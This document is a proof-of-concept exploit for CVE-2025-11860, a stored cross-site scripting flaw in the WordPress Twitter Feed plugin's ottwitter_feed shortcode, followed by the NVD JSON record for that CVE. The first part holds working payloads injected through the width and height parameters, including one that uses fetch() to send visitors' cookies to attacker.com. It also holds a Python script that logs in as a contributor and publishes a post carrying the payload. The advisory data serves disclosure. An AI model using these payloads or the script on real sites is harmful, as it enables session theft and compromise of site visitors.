CVE-2025-11860

<!-- CVE-2025-11860 PoC: Stored XSS via ottwitter_feed shortcode --> <!-- Requires contributor-level access or higher --> <!-- Basic XSS injection via width parameter --> [ottwitter_feed width='" onmouseover="alert(1)" x="'] <!-- XSS injection via height parameter --> [ottwitter_feed height='"><script>alert(document.cookie)</script>'] <!-- Combined injection --> [ottwitter_feed width='100px' height='"><img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] <!-- Automated exploitation example (Python) --> import requests target_url = "http://vulnerable-site.com/wp-json/wp/v2/posts" session = requests.Session() # Authenticate as contributor login_data = { "username": "attacker_contributor", "password": "attacker_password" } session.post("http://vulnerable-site.com/wp-login.php", data=login_data) # Create post with XSS payload post_data = { "title": "Malicious Post", "content": "[ottwitter_feed width='100\" onfocus=\"alert(document.cookie)\" autofocus=\"']", "status": "publish" } response = session.post(target_url, json=post_data) print(f"Post created with XSS payload. Status: {response.status_code}")

{"cve": {"id": "CVE-2025-11860", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:43.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Twitter Feed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ottwitter_feed' shortcode in all versions up to, and including, 1.3.1. This is due to the plugin not properly sanitizing user input and output of the 'width' and 'height' parameters. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ot-twitter-feed/trunk/ottwitterfeed-shortcode.php#L27", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ce182e57-a9d4-4c4b-b124-e6626ccdd712?source=cve", "source": "[email protected]"}]}}